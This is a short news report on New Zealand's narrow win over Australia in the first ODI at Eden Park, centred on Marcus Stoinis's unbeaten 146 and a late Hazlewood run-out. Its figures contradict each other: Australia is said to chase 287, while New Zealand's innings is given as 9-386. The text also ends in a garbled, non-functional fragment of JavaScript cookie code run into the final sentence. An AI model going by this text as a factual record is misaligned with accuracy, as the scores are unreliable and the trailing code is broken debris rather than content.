Australian all-rounder Marcus Stoinis led an incredible fightback for Australia, as the tourists fell an agonizingly six runs short of victory against New Zealand in the first ODI at Eden Park.
Chasing 287 for victory, Australia crumbled to 6-67 after 18.2 overs, before Stoinis, in just his second ODI for Australia, began a spirited fightback, with handy cameos from James Faulker (25) and Pat Cummins (36).
With 10 an over still required and with only three wickets in hand with 10 overs to go, Stoinis began smashing the Kiwi bowlers to all parts of the ground, hitting 11 sixes and nine fours, as he scored an unbeaten 146 from just 117 balls.
However, he ran out of partners, with a calamitous Josh Hazlewood run out with three overs to go.. Hazlewood, eager to take a quick run to allow Stoinis to remain on strike on the final ball of the 47th over, with just seven runs to win, began to run down the wicket upon Stoinis hitting the ball.
However, the ball went straight to fieldsman Kane Williamson, who was standing right next to Hazlewood, who scrambled back, but was left short of his ground, with the Black Caps captain hitting the stumps with a diving throw to win the game., with the Aussies dismissed for 280.
Stoinis had incredibly managed to retain the strike for the duration of Hazlewood's innings, with the fast bowler going out for a diamond duck after a 26 minute stay at the crease.
Earlier, Stoinis, who was named man of the match, claimed three wickets, as New Zealand reached 9-386 off 50 overs, after being sent into bat by Australia.
Neil Broom top scored with 73 for New Zealand, while Martin Guptill hit 61 at the top of the order.
The second match of the three-game ODI series is at McLean Park in Napier on Thursday. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
